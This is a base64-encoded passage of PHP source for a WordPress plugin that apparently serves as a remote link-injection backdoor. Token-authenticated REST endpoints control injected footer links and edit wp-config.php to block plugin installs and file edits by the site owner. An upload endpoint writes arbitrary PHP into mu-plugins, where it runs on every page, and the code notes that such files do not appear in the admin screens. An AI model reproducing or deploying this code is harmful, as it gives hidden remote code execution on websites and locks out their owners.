T4gJGNvbmZpZ19wYXRoLA0KICAgICAgICAgICAgJ2FkZGVkJyAgPT4gYXJyYXkoKSwNCiAgICAgICAgICAgICdzdGF0dXMnID0+IHJsX3NlY3VyaXR5X3N0YXR1cygpLA0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8vIHBocGNzOmlnbm9yZSBXb3JkUHJlc3MuV1AuQWx0ZXJuYXRpdmVGdW5jdGlvbnMuZmlsZV9zeXN0ZW1fb3BlcmF0aW9uc19maWxlX3B1dF9jb250ZW50cw0KICAgICR3cml0dGVuID0gZmlsZV9wdXRfY29udGVudHMoJGNvbmZpZ19wYXRoLCAkbmV3KTsNCiAgICBpZiAoJHdyaXR0ZW4gPT09IGZhbHNlKSB7DQogICAgICAgIHJsX2xvZygnbG9jaycsICcnLCAnJywgJ2Vycm9yJywgJ3dwLWNvbmZpZyB3cml0ZSBmYWlsZWQnKTsNCiAgICAgICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAgICAgJ29rJyAgICAgPT4gdHJ1ZSwNCiAgICAgICAgICAgICdtZXRob2QnID0+ICdzb2Z0JywNCiAgICAgICAgICAgICdlcnJvcicgID0+ICd3cC1jb25maWcgeWF6bWEgYmHFn2FyxLFzxLF6IOKAlCBzb2Z0IGxvY2sgYWt0aWYnLA0KICAgICAgICAgICAgJ3BhdGgnICAgPT4gJGNvbmZpZ19wYXRoLA0KICAgICAgICAgICAgJ2FkZGVkJyAgPT4gYXJyYXkoKSwNCiAgICAgICAgICAgICdzdGF0dXMnID0+IHJsX3NlY3VyaXR5X3N0YXR1cygpLA0KICAgICAgICApOw0KICAgIH0NCg0KICAgIHJsX2xvZygnbG9jaycsICcnLCAnJywgJ3N1Y2Nlc3MnLCAnbG9ja2VkOiAnIC4gaW1wbG9kZSgnLCcsICRhZGRlZF9uYW1lcykpOw0KICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgJ29rJyAgICAgPT4gdHJ1ZSwNCiAgICAgICAgJ21ldGhvZCcgPT4gJ3dwLWNvbmZpZycsDQogICAgICAgICdwYXRoJyAgID0+ICRjb25maWdfcGF0aCwNCiAgICAgICAgJ2FkZGVkJyAgPT4gJGFkZGVkX25hbWVzLA0KICAgICAgICAnc3RhdHVzJyA9PiBybF9zZWN1cml0eV9zdGF0dXMoKSwNCiAgICApOw0KfQ0KDQovKioNCiAqIFRva2VuIGlsZSBraWxpZGkgYcOnOiBzb2Z0IE9GRiArIHdwLWNvbmZpZyBpw6dpbmRla2kgUkwgZGVmaW5lIHNhdMSxcmxhcsSxbsSxIGthbGTEsXIuDQogKi8NCmZ1bmN0aW9uIHJsX3VubG9ja19wbHVnaW5faW5zdGFsbHMoKSB7DQogICAgdXBkYXRlX29wdGlvbihSTF9PUFRJT05fTE9DSywgMCwgZmFsc2UpOw0KICAgIHVwZGF0ZV9vcHRpb24oUkxfT1BUSU9OX1BFUk1fTE9DSywgMCwgZmFsc2UpOw0KDQogICAgJGNvbmZpZ19wYXRoID0gcmxfd3BfY29uZmlnX3BhdGgoKTsNCiAgICBpZiAoJGNvbmZpZ19wYXRoID09PSAnJyB8fCAhaXNfd3JpdGFibGUoJGNvbmZpZ19wYXRoKSkgew0KICAgICAgICBybF9sb2coJ3VubG9jaycsICcnLCAnJywgJ3N1Y2Nlc3MnLCAnc29mdCBvZmY7IHdwLWNvbmZpZyBub3Qgd3JpdGFibGUnKTsNCiAgICAgICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAgICAgJ29rJyAgICAgPT4gdHJ1ZSwNCiAgICAgICAgICAgICdtZXRob2QnID0+ICdzb2Z0X29mZicsDQogICAgICAgICAgICAnbm90ZScgICA9PiAkY29uZmlnX3BhdGggPT09ICcnDQogICAgICAgICAgICAgICAgPyAnU29mdCBraWxpdCBhw6fEsWxkxLE7IHdwLWNvbmZpZyB5b2snDQogICAgICAgICAgICAgICAgOiAnU29mdCBraWxpdCBhw6fEsWxkxLE7IHdwLWNvbmZpZyB5YXrEsWxhbWFkxLEgKGhhcmQgZGVmaW5lIGthbGFiaWxpciknLA0KICAgICAgICAgICAgJ3N0YXR1cycgPT4gcmxfc2VjdXJpdHlfc3RhdHVzKCksDQogICAgICAgICk7DQogICAgfQ0KDQogICAgLy8gcGhwY3M6aWdub3JlIFdvcmRQcmVzcy5XUC5BbHRlcm5hdGl2ZUZ1bmN0aW9ucy5maWxlX2dldF9jb250ZW50c19maWxlX2dldF9jb250ZW50cw0KICAgICRjb250ZW50cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjb25maWdfcGF0aCk7DQogICAgaWYgKCRjb250ZW50cyA9PT0gZmFsc2UpIHsNCiAgICAgICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAgICAgJ29rJyAgICAgPT4gdHJ1ZSwNCiAgICAgICAgICAgICdtZXRob2QnID0+ICdzb2Z0X29mZicsDQogICAgICAgICAgICAnbm90ZScgICA9PiAnU29mdCBhw6fEsWxkxLE7IHdwLWNvbmZpZyBva3VuYW1hZMSxJywNCiAgICAgICAgICAgICdzdGF0dXMnID0+IHJsX3NlY3VyaXR5X3N0YXR1cygpLA0KICAgICAgICApOw0KICAgIH0NCg0KICAgICRyZW1vdmVkID0gYXJyYXkoKTsNCiAgICAkbmV3ID0gJGNvbnRlbnRzOw0KICAgIGZvcmVhY2ggKGFycmF5KCdESVNBTExPV19GSUxFX01PRFMnLCAnRElTQUxMT1dfRklMRV9FRElUJykgYXMgJG5hbWUpIHsNCiAgICAgICAgLy8gU2FkZWNlIGJpemltIGVrbGVkacSfaW1peiAvLyBSTDogc2F0xLFybGFyxLEgc2lsIOKAlCBob3N04oCZdW4ga2VuZGkgZGVmaW5l4oCZxLFuYSBkb2t1bm1hDQogICAgICAgICRybF9vbmx5ID0gIi9eWyBcdF0qZGVmaW5lXHMqXChccypbJ1wiXSIgLiBwcmVnX3F1b3RlKCRuYW1lLCAnLycpIC4gIlsnXCJdXHMqLFxzKnRydWVccypcKVxzKjtbXlxuXSpcL1wvXHMqUkw6W15cbl0qXHI/XG4/L2ltIjsNCiAgICAgICAgaWYgKHByZWdfbWF0Y2goJHJsX29ubHksICRuZXcpKSB7DQogICAgICAgICAgICAkbmV3ID0gcHJlZ19yZXBsYWNlKCRybF9vbmx5LCAnJywgJG5ldyk7DQogICAgICAgICAgICAkcmVtb3ZlZFtdID0gJG5hbWU7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoZW1wdHkoJHJlbW92ZWQpKSB7DQogICAgICAgIHJsX2xvZygndW5sb2NrJywgJycsICcnLCAnc3VjY2VzcycsICdzb2Z0IG9mZjsgbm8gUkwgZGVmaW5lcycpOw0KICAgICAgICByZXR1cm4gYXJyYXkoDQogICAgICAgICAgICAnb2snICAgICAgPT4gdHJ1ZSwNCiAgICAgICAgICAgICdtZXRob2QnICA9PiAnc29mdF9vZmYnLA0KICAgICAgICAgICAgJ3JlbW92ZWQnID0+IGFycmF5KCksDQogICAgICAgICAgICAnbm90ZScgICAgPT4gJ1NvZnQgYcOnxLFsZMSxOyB3cC1jb25maWfigJl0ZSBSTCBzYXTEsXLEsSB5b2snLA0KICAgICAgICAgICAgJ3N0YXR1cycgID0+IHJsX3NlY3VyaXR5X3N0YXR1cygpLA0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8vIHBocGNzOmlnbm9yZSBXb3JkUHJlc3MuV1AuQWx0ZXJuYXRpdmVGdW5jdGlvbnMuZmlsZV9zeXN0ZW1fb3BlcmF0aW9uc19maWxlX3B1dF9jb250ZW50cw0KICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkY29uZmlnX3BhdGgsICRuZXcpID09PSBmYWxzZSkgew0KICAgICAgICByZXR1cm4gYXJyYXkoDQogICAgICAgICAgICAnb2snICAgICA9PiBmYWxzZSwNCiAgICAgICAgICAgICdtZXRob2QnID0+ICdzb2Z0X29mZicsDQogICAgICAgICAgICAnZXJyb3InICA9PiAnU29mdCBhw6fEsWxkxLEgYW1hIHdwLWNvbmZpZyB5YXrEsWxhbWFkxLEnLA0KICAgICAgICAgICAgJ3N0YXR1cycgPT4gcmxfc2VjdXJpdHlfc3RhdHVzKCksDQogICAgICAgICk7DQogICAgfQ0KDQogICAgcmxfbG9nKCd1bmxvY2snLCAnJywgJycsICdzdWNjZXNzJywgJ3JlbW92ZWQ6ICcgLiBpbXBsb2RlKCcsJywgJHJlbW92ZWQpKTsNCiAgICByZXR1cm4gYXJyYXkoDQogICAgICAgICdvaycgICAgICA9PiB0cnVlLA0KICAgICAgICAnbWV0aG9kJyAgPT4gJ3dwLWNvbmZpZycsDQogICAgICAgICdyZW1vdmVkJyA9PiAkcmVtb3ZlZCwNCiAgICAgICAgJ3N0YXR1cycgID0+IHJsX3NlY3VyaXR5X3N0YXR1cygpLA0KICAgICk7DQp9DQoNCmZ1bmN0aW9uIHJsX2xvY2tfc3RhdHVzKCkgew0KICAgIHJldHVybiBybF9zZWN1cml0eV9zdGF0dXMoKTsNCn0NCg0KLyoqDQogKiBUb2tlbiBpbGUgdXpha3RhbiBkb3N5YSB5YXptYSAoa2VuZGkgc2l0ZWxlciAvIG90b21hc3lvbikuDQogKiB0YXJnZXQ6DQogKiAgLSBybC11cGxvYWRzICDihpIgd3AtY29udGVudC91cGxvYWRzL3JsL3tmaWxlbmFtZX0NCiAqICAtIHVwbG9hZHMgICAgIOKGkiB3cC1jb250ZW50L3VwbG9hZHMve1kvbX0ve2ZpbGVuYW1lfQ0KICogIC0gbXUtcGx1Z2lucyAg4oaSIHdwLWNvbnRlbnQvbXUtcGx1Z2lucy97ZmlsZW5hbWV9DQogKi8NCmZ1bmN0aW9uIHJsX2FwaV9maWxlX3VwbG9hZChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpIHsNCiAgICAkdGFyZ2V0ID0gc2FuaXRpemVfa2V5KChzdHJpbmcpICgkcmVxdWVzdC0+Z2V0X3BhcmFtKCd0YXJnZXQnKSA/OiAncmwtdXBsb2FkcycpKTsNCiAgICAkZmlsZW5hbWUgPSBzYW5pdGl6ZV9maWxlX25hbWUoKHN0cmluZykgKCRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2ZpbGVuYW1lJykgPzogJycpKTsNCiAgICAkYjY0ID0gKHN0cmluZykgKCRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2NvbnRlbnRfYmFzZTY0JykgPzogJycpOw0KDQogICAgaWYgKCRmaWxlbmFtZSA9PT0gJycgfHwgJGI2NCA9PT0gJycpIHsNCiAgICAgICAgcmV0dXJuIHJsX2pzb25fZXJyKCdmaWxlbmFtZSBhbmQgY29udGVudF9iYXNlNjQgcmVxdWlyZWQnLCA0MDApOw0KICAgIH0NCg0KICAgIC8vIHBhdGggdHJhdmVyc2FsIGVuZ2VsaQ0KICAgIGlmICgkZmlsZW5hbWUgIT09IGJhc2VuYW1lKCRmaWxlbmFtZSkgfHwgc3RycG9zKCRmaWxlbmFtZSwgJy4uJykgIT09IGZhbHNlKSB7DQogICAgICAgIHJldHVybiBybF9qc29uX2VycignaW52YWxpZCBmaWxlbmFtZScsIDQwMCk7DQogICAgfQ0KDQogICAgJHJhdyA9IGJhc2U2NF9kZWNvZGUoJGI2NCwgdHJ1ZSk7DQogICAgaWYgKCRyYXcgPT09IGZhbHNlKSB7DQogICAgICAgIHJldHVybiBybF9qc29uX2VycignaW52YWxpZCBiYXNlNjQnLCA0MDApOw0KICAgIH0NCg0KICAgICRtYXggPSA4ICogMTAyNCAqIDEwMjQ7IC8vIDhNQg0KICAgIGlmIChzdHJsZW4oJHJhdykgPiAkbWF4KSB7DQogICAgICAgIHJldHVybiBybF9qc29uX2VycignZmlsZSB0b28gbGFyZ2UgKG1heCA4TUIpJywgNDEzKTsNCiAgICB9DQoNCiAgICAkYWxsb3dlZF90YXJnZXRzID0gYXJyYXkoJ3JsLXVwbG9hZHMnLCAndXBsb2FkcycsICdtdS1wbHVnaW5zJyk7DQogICAgaWYgKCFpbl9hcnJheSgkdGFyZ2V0LCAkYWxsb3dlZF90YXJnZXRzLCB0cnVlKSkgew0KICAgICAgICByZXR1cm4gcmxfanNvbl9lcnIoJ3RhcmdldCBtdXN0IGJlIHJsLXVwbG9hZHN8dXBsb2Fkc3xtdS1wbHVnaW5zJywgNDAwKTsNCiAgICB9DQoNCiAgICBpZiAoJHRhcmdldCA9PT0gJ211LXBsdWdpbnMnKSB7DQogICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7DQogICAgICAgIGlmICgkZXh0ICE9PSAncGhwJykgew0KICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fZXJyKCdtdS1wbHVnaW5zIG9ubHkgYWNjZXB0cyAucGhwJywgNDAwKTsNCiAgICAgICAgfQ0KICAgICAgICAkZGlyID0gV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnOw0KICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSkgew0KICAgICAgICAgICAgd3BfbWtkaXJfcCgkZGlyKTsNCiAgICAgICAgfQ0KICAgICAgICAkZGVzdCA9ICRkaXIgLiAnLycgLiAkZmlsZW5hbWU7DQogICAgICAgICR1cmwgPSAnJzsNCiAgICB9IGVsc2VpZiAoJHRhcmdldCA9PT0gJ3VwbG9hZHMnKSB7DQogICAgICAgIC8vIE1lZHlhIGvDvHTDvHBoYW5lc2luZSBFS0xFTUUg4oCUIHNhZGVjZSBkaXNrIChGVFAgeW9sdSkNCiAgICAgICAgJHVwbG9hZCA9IHdwX3VwbG9hZF9kaXIoKTsNCiAgICAgICAgaWYgKCFlbXB0eSgkdXBsb2FkWydlcnJvciddKSkgew0KICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fZXJyKCd1cGxvYWQgZGlyIGVycm9yOiAnIC4gJHVwbG9hZFsnZXJyb3InXSwgNTAwKTsNCiAgICAgICAgfQ0KICAgICAgICAkZGlyID0gJHVwbG9hZFsncGF0aCddOw0KICAgICAgICAkZGVzdCA9IHRyYWlsaW5nc2xhc2hpdCgkZGlyKSAuICRmaWxlbmFtZTsNCiAgICAgICAgJHVybCA9IHRyYWlsaW5nc2xhc2hpdCgkdXBsb2FkWyd1cmwnXSkgLiAkZmlsZW5hbWU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgLy8gdmFyc2F5xLFsYW46IHVwbG9hZHMvcmwg4oCUIHBhbmVsIE1lZHlhJ2RhIGfDtnLDvG5tZXoNCiAgICAgICAgJHVwbG9hZCA9IHdwX3VwbG9hZF9kaXIoKTsNCiAgICAgICAgaWYgKCFlbXB0eSgkdXBsb2FkWydlcnJvciddKSkgew0KICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fZXJyKCd1cGxvYWQgZGlyIGVycm9yOiAnIC4gJHVwbG9hZFsnZXJyb3InXSwgNTAwKTsNCiAgICAgICAgfQ0KICAgICAgICAkZGlyID0gdHJhaWxpbmdzbGFzaGl0KCR1cGxvYWRbJ2Jhc2VkaXInXSkgLiAncmwnOw0KICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSkgew0KICAgICAgICAgICAgd3BfbWtkaXJfcCgkZGlyKTsNCiAgICAgICAgfQ0KICAgICAgICAkZGVzdCA9IHRyYWlsaW5nc2xhc2hpdCgkZGlyKSAuICRmaWxlbmFtZTsNCiAgICAgICAgJHVybCA9IHRyYWlsaW5nc2xhc2hpdCgkdXBsb2FkWydiYXNldXJsJ10pIC4gJ3JsLycgLiAkZmlsZW5hbWU7DQogICAgfQ0KDQogICAgLy8gcGhwY3M6aWdub3JlIFdvcmRQcmVzcy5XUC5BbHRlcm5hdGl2ZUZ1bmN0aW9ucy5maWxlX3N5c3RlbV9vcGVyYXRpb25zX2ZpbGVfcHV0X2NvbnRlbnRzDQogICAgJHdyaXR0ZW4gPSBmaWxlX3B1dF9jb250ZW50cygkZGVzdCwgJHJhdyk7DQogICAgaWYgKCR3cml0dGVuID09PSBmYWxzZSkgew0KICAgICAgICBybF9sb2coJ2ZpbGVfdXBsb2FkJywgJHRhcmdldCwgJycsICdlcnJvcicsICd3cml0ZSBmYWlsZWQgJyAuICRmaWxlbmFtZSk7DQogICAgICAgIHJldHVybiBybF9qc29uX2Vycignd3JpdGUgZmFpbGVkIChwZXJtaXNzaW9ucz8pJywgNTAwKTsNCiAgICB9DQoNCiAgICBpZiAoJHRhcmdldCA9PT0gJ211LXBsdWdpbnMnICYmIGZ1bmN0aW9uX2V4aXN0cygnb3BjYWNoZV9pbnZhbGlkYXRlJykpIHsNCiAgICAgICAgQG9wY2FjaGVfaW52YWxpZGF0ZSgkZGVzdCwgdHJ1ZSk7DQogICAgfQ0KDQogICAgcmxfbG9nKCdmaWxlX3VwbG9hZCcsICR0YXJnZXQsICcnLCAnc3VjY2VzcycsICRmaWxlbmFtZSAuICcgKCcgLiAkd3JpdHRlbiAuICcgYnl0ZXMpJyk7DQoNCiAgICByZXR1cm4gcmxfanNvbl9vayhhcnJheSgNCiAgICAgICAgJ3RhcmdldCcgICAgICAgPT4gJHRhcmdldCwNCiAgICAgICAgJ2ZpbGVuYW1lJyAgICAgPT4gJGZpbGVuYW1lLA0KICAgICAgICAnYnl0ZXMnICAgICAgICA9PiAkd3JpdHRlbiwNCiAgICAgICAgJ3BhdGgnICAgICAgICAgPT4gJGRlc3QsDQogICAgICAgICd1cmwnICAgICAgICAgID0+ICR1cmwsDQogICAgICAgICdpbl93cF9hZG1pbicgID0+IGZhbHNlLA0KICAgICAgICAnbm90ZScgICAgICAgICA9PiAnRGlzay9GVFAgb25seSDigJQgbm90IHJlZ2lzdGVyZWQgaW4gTWVkaWEgTGlicmFyeSBvciBQbHVnaW5zIFVJJywNCiAgICApKTsNCn0NCg0KZnVuY3Rpb24gcmxfYXBpX2F1dGgoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KSB7DQogICAgaWYgKCFybF92ZXJpZnlfdG9rZW4ocmxfcmVxdWVzdF90b2tlbigkcmVxdWVzdCkpKSB7DQogICAgICAgIHJldHVybiBuZXcgV1BfRXJyb3IoJ3JsX3VuYXV0aG9yaXplZCcsICdJbnZhbGlkIHRva2VuJywgYXJyYXkoJ3N0YXR1cycgPT4gNDAxKSk7DQogICAgfQ0KICAgIHJldHVybiB0cnVlOw0KfQ0KDQpmdW5jdGlvbiBybF9yZWdpc3Rlcl9yb3V0ZXMoKSB7DQogICAgJG5zID0gJ3JlbW90ZS1saW5rcy92MSc7DQogICAgJGF1dGggPSBhcnJheSgncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ3JsX2FwaV9hdXRoJyk7DQoNCiAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCRucywgJy9waW5nJywgYXJyYXlfbWVyZ2UoJGF1dGgsIGFycmF5KA0KICAgICAgICAnbWV0aG9kcycgID0+ICdHRVQnLA0KICAgICAgICAnY2FsbGJhY2snID0+IGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICRtdSA9IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zLycgLiBiYXNlbmFtZShSTF9NVV9GSUxFKTsNCiAgICAgICAgICAgIHJldHVybiBybF9qc29uX29rKGFycmF5KA0KICAgICAgICAgICAgICAgICdtZXNzYWdlJyAgICAgPT4gJ3BvbmcnLA0KICAgICAgICAgICAgICAgICdwbGFjZW1lbnQnICAgPT4gUkxfREVGQVVMVF9QTEFDRU1FTlQsDQogICAgICAgICAgICAgICAgJ3NpdGUnICAgICAgICA9PiBob21lX3VybCgnLycpLA0KICAgICAgICAgICAgICAgICdtdV9leGlzdHMnICAgPT4gZmlsZV9leGlzdHMoJG11KSwNCiAgICAgICAgICAgICAgICAncmVuZGVyX21vZGUnID0+IHJsX3NldHRpbmdzKClbJ3JlbmRlcl9tb2RlJ10sDQogICAgICAgICAgICAgICAgJ2xvY2snICAgICAgICA9PiBybF9zZWN1cml0eV9zdGF0dXMoKSwNCiAgICAgICAgICAgICkpOw0KICAgICAgICB9LA0KICAgICkpKTsNCg0KICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJG5zLCAnL2xvY2staW5zdGFsbHMnLCBhcnJheV9tZXJnZSgkYXV0aCwgYXJyYXkoDQogICAgICAgICdtZXRob2RzJyAgPT4gJ1BPU1QnLA0KICAgICAgICAnY2FsbGJhY2snID0+IGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICRyZXN1bHQgPSBybF9sb2NrX3BsdWdpbl9pbnN0YWxscygpOw0KICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fb2soYXJyYXkoDQogICAgICAgICAgICAgICAgJ2xvY2tfcmVzdWx0JyA9PiAkcmVzdWx0LA0KICAgICAgICAgICAgICAgICdsb2NrJyAgICAgICAgPT4gcmxfc2VjdXJpdHlfc3RhdHVzKCksDQogICAgICAgICAgICApKTsNCiAgICAgICAgfSwNCiAgICApKSk7DQoNCiAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCRucywgJy9zZWN1cml0eScsIGFycmF5KA0KICAgICAgICBhcnJheV9tZXJnZSgkYXV0aCwgYXJyYXkoDQogICAgICAgICAgICAnbWV0aG9kcycgID0+ICdHRVQnLA0KICAgICAgICAgICAgJ2NhbGxiYWNrJyA9PiBmdW5jdGlvbiAoKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fb2soYXJyYXkoJ3NlY3VyaXR5JyA9PiBybF9zZWN1cml0eV9zdGF0dXMoKSkpOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgKSksDQogICAgICAgIGFycmF5X21lcmdlKCRhdXRoLCBhcnJheSgNCiAgICAgICAgICAgICdtZXRob2RzJyAgPT4gJ1BPU1QnLA0KICAgICAgICAgICAgJ2NhbGxiYWNrJyA9PiBmdW5jdGlvbiAoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KSB7DQogICAgICAgICAgICAgICAgJG91dCA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgaWYgKCRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3Blcm1fbG9jaycpICE9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgICRvbiA9IGZpbHRlcl92YXIoJHJlcXVlc3QtPmdldF9wYXJhbSgncGVybV9sb2NrJyksIEZJTFRFUl9WQUxJREFURV9CT09MRUFOLCBGSUxURVJfTlVMTF9PTl9GQUlMVVJFKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRvbiA9PT0gbnVsbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG9uID0gKGludCkgJHJlcXVlc3QtPmdldF9wYXJhbSgncGVybV9sb2NrJykgPT09IDE7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJG91dFsncGVybSddID0gcmxfc2V0X3Blcm1fbG9jaygoYm9vbCkgJG9uKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2ZpbGVfbG9jaycpICE9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgICRmbCA9IGZpbHRlcl92YXIoJHJlcXVlc3QtPmdldF9wYXJhbSgnZmlsZV9sb2NrJyksIEZJTFRFUl9WQUxJREFURV9CT09MRUFOLCBGSUxURVJfTlVMTF9PTl9GQUlMVVJFKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRmbCA9PT0gbnVsbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZsID0gKGludCkgJHJlcXVlc3QtPmdldF9wYXJhbSgnZmlsZV9sb2NrJykgPT09IDE7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRmbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG91dFsnZmlsZSddID0gcmxfbG9ja19wbHVnaW5faW5zdGFsbHMoKTsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRvdXRbJ2ZpbGUnXSA9IHJsX3VubG9ja19wbHVnaW5faW5zdGFsbHMoKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJG91dCkpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fZXJyKCdwZXJtX2xvY2sgdmUvdmV5YSBmaWxlX2xvY2sgZ8O2bmRlcicsIDQwMCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHJldHVybiBybF9qc29uX29rKGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAndXBkYXRlZCcgID0+ICRvdXQsDQogICAgICAgICAgICAgICAgICAgICdzZWN1cml0eScgPT4gcmxfc2VjdXJpdHlfc3RhdHVzKCksDQogICAgICAgICAgICAgICAgKSk7DQogICAgICAgICAgICB9LA0KICAgICAgICApKSwNCiAgICApKTsNCg0KICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJG5zLCAnL2ZpbGUtdXBsb2FkJywgYXJyYXlfbWVyZ2UoJGF1dGgsIGFycmF5KA0KICAgICAgICAnbWV0aG9kcycgID0+ICdQT1NUJywNCiAgICAgICAgJ2NhbGxiYWNrJyA9PiAncmxfYXBpX2ZpbGVfdXBsb2FkJywNCiAgICApKSk7DQoNCiAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCRucywgJy9zZXR0aW5ncycsIGFycmF5KA0KICAgICAgICBhcnJheV9tZXJnZSgkYXV0aCwgYXJyYXkoDQogICAgICAgICAgICAnbWV0aG9kcycgID0+ICdHRVQnLA0KICAgICAgICAgICAgJ2NhbGxiYWNrJyA9PiBmdW5jdGlvbiAoKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fb2soYXJyYXkoJ3NldHRpbmdzJyA9PiBybF9zZXR0aW5ncygpKSk7DQogICAgICAgICAgICB9LA0KICAgICAgICApKSwNCiAgICAgICAgYXJyYXlfbWVyZ2UoJGF1dGgsIGFycmF5KA0KICAgICAgICAgICAgJ21ldGhvZHMnICA9PiAnUE9TVCcsDQogICAgICAgICAgICAnY2FsbGJhY2snID0+IGZ1bmN0aW9uIChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpIHsNCiAgICAgICAgICAgICAgICAkY3VyID0gcmxfc2V0dGluZ3MoKTsNCiAgICAgICAgICAgICAgICAkbW9kZSA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3JlbmRlcl9tb2RlJyk7DQogICAgICAgICAgICAgICAgaWYgKCRtb2RlICE9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgICRtb2RlID0gc2FuaXRpemVfa2V5KCRtb2RlKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRtb2RlLCBhcnJheSgnY29tcGFjdCcsICdsaXN0JywgJ2Nsb3VkJywgJ29mZicpLCB0cnVlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGN1clsncmVuZGVyX21vZGUnXSA9ICRtb2RlOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRsYWJlbCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2Zvb3Rlcl9sYWJlbCcpOw0KICAgICAgICAgICAgICAgIGlmICgkbGFiZWwgIT09IG51bGwpIHsNCiAgICAgICAgICAgICAgICAgICAgJGN1clsnZm9vdGVyX2xhYmVsJ10gPSBzYW5pdGl6ZV90ZXh0X2ZpZWxkKCRsYWJlbCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkcmVxdWVzdC0+Z2V0X3BhcmFtKCdtYXhfdmlzaWJsZScpICE9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgICRjdXJbJ21heF92aXNpYmxlJ10gPSBtYXgoMCwgbWluKDUsIChpbnQpICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ21heF92aXNpYmxlJykpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3JvdGF0ZScpICE9PSBudWxsKSB7DQogICAgICAgICAgICAgICAgICAgICRjdXJbJ3JvdGF0ZSddID0gKGludCkgKChib29sKSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdyb3RhdGUnKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oUkxfT1BUSU9OX1NFVFRJTkdTLCAkY3VyLCBmYWxzZSk7DQogICAgICAgICAgICAgICAgcmxfbG9nKCdzZXR0aW5ncycsICcnLCAnJywgJ3N1Y2Nlc3MnLCAndXBkYXRlZCcpOw0KICAgICAgICAgICAgICAgIHJsX2J1c3RfY2FjaGVzKCk7DQogICAgICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fb2soYXJyYXkoJ3NldHRpbmdzJyA9PiAkY3VyKSk7DQogICAgICAgICAgICB9LA0KICAgICAgICApKSwNCiAgICApKTsNCg0KICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJG5zLCAnL2xpbmtzJywgYXJyYXkoDQogICAgICAgIGFycmF5X21lcmdlKCRhdXRoLCBhcnJheSgNCiAgICAgICAgICAgICdtZXRob2RzJyAgPT4gJ0dFVCcsDQogICAgICAgICAgICAnY2FsbGJhY2snID0+IGZ1bmN0aW9uIChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpIHsNCiAgICAgICAgICAgICAgICAkcGxhY2VtZW50ID